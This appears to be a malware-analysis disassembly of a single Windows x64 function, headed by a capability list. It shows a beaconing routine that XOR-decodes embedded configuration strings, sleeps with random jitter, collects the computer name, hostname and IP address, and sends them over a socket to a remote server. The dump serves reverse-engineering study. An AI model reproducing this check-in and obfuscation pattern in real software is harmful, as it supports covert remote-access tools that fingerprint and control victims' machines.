Function at 0x1400074c0
Capabilities:
Create thread
Get hostname
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2e0
mov rax, qword [0x140238670]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
mov eax, dword [0x14023a244]
xor edi, edi
mov ecx, 0x7d0
mov dword [0x1402493a0], eax
mov ebx, edi
mov dword [rsp + 0x30], 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, edi
lea rcx, [0x14023a2b1]
xor byte [rax + rcx - 1], 0x25
je 0x140007535
xor byte [rax + rcx], 0x25
je 0x140007535
xor byte [rax + rcx + 1], 0x25
je 0x140007535
xor byte [rax + rcx + 2], 0x25
je 0x140007535
add rax, 4
cmp rax, 0x40
jl 0x140007510
mov rax, rdi
lea rsi, [0x14023b2f0]
nop
xor byte [rax + rsi], 0x2b
je 0x140007565
xor byte [rax + rsi + 1], 0x2b
je 0x140007565
xor byte [rax + rsi + 2], 0x2b
je 0x140007565
xor byte [rax + rsi + 3], 0x2b
je 0x140007565
add rax, 4
cmp rax, 0x40
jl 0x140007540
mov rax, rdi
lea rcx, [0x14023b330]
nop
xor byte [rax + rcx], 0x39
je 0x140007595
xor byte [rax + rcx + 1], 0x39
je 0x140007595
xor byte [rax + rcx + 2], 0x39
je 0x140007595
xor byte [rax + rcx + 3], 0x39
je 0x140007595
add rax, 4
cmp rax, 0x40
jl 0x140007570
lea rax, [0x1402493a4]
lea r9, [0x140249360]
mov qword [rsp + 0x20], rax
lea r8, [0x14024939c]
lea rdx, str._d_d_d
call fcn.140003b00
mov eax, dword [0x14024939c]
mov ecx, 0x50
cmp eax, 0xfde8
cmovg eax, ecx
mov ecx, 0x4b0
mov dword [0x14024939c], eax
mov eax, dword [0x140249360]
cmp eax, ecx
jg 0x1400075ef
test eax, eax
mov ecx, eax
mov edx, socket
cmovs ecx, edx
mov edx, dword [0x1402493a4]
lea eax, [rcx + 0xa]
mov dword [0x140249360], ecx
cmp edx, eax
jge 0x140007605
lea edx, [rcx + 0x1e]
lea eax, [rcx + 0x12c]
cmp edx, eax
cmovg edx, eax
xor ecx, ecx
mov dword [0x1402493a4], edx
call fcn.140193690
mov rcx, rax
call fcn.14018f220
mov ecx, 0x102
lea rdx, [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140007662
nop dword [rax]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x102
lea rdx, [rsp + 0xb0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140007640
mov qword [rsp + 0x28], rdi
lea r8, [0x1400064a0]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
test ebx, ebx
jne 0x140007699
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
jmp 0x140007725
mov eax, dword [0x140249360]
cmp eax, 0x3c
jle 0x1400076f4
cmp eax, dword [0x1402493a4]
jge 0x1400076d0
call fcn.14018f1f4
mov ecx, dword [0x1402493a4]
cdq
sub ecx, dword [0x140249360]
inc ecx
idiv ecx
add edx, dword [0x140249360]
imul ecx, edx, 0x3e8
jmp 0x14000771f
call fcn.14018f1f4
mov ecx, dword [0x140249360]
cdq
sub ecx, dword [0x1402493a4]
inc ecx
idiv ecx
add edx, dword [0x1402493a4]
imul ecx, edx, 0x3e8
jmp 0x14000771f
call fcn.14018f1f4
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x19
sub r8d, ecx
add r8d, 0x19
imul ecx, r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x34], 0x20
call fcn.140003f80
mov qword [0x1402496c0], rax
cmp rax, 0xffffffffffffffff
je 0x140007680
xorps xmm0, xmm0
mov dword [rsp + 0x40], 0x7d8de43d
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x64]
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edx, 0x80
lea rcx, [rsp + 0x250]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x250]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea rdx, [0x140209210]
lea rcx, [rsp + 0x44]
call fcn.140003aa0
mov rdx, rsi
lea rcx, [rsp + 0x84]
call fcn.140003aa0
mov rcx, qword [0x1402496c0]
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
mov dword [rsp + 0x38], edi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, qword [0x1402496c0]
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x1005
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [0x1402496c0]
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x1006
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [0x1402496c0]
lea rdx, [rsp + 0x40]
mov r8d, 0x64
call fcn.140004040
cmp eax, 0xffffffff
jne 0x140007870
mov rcx, qword [0x1402496c0]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140007680
xorps xmm0, xmm0
mov qword [0x140249358], rdi
xorps xmm1, xmm1
movdqu xmmword [0x140249338], xmm0
movdqu xmmword [0x140249348], xmm1
call fcn.140006660
mov rcx, qword [0x1402496c0]
call qword [sym.imp.WS2_32.dll_closesocket]
xorps xmm0, xmm0
mov qword [0x140249358], rdi
xorps xmm1, xmm1
mov ecx, 0x3e8
movdqu xmmword [0x140249338], xmm0
movdqu xmmword [0x140249348], xmm1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007680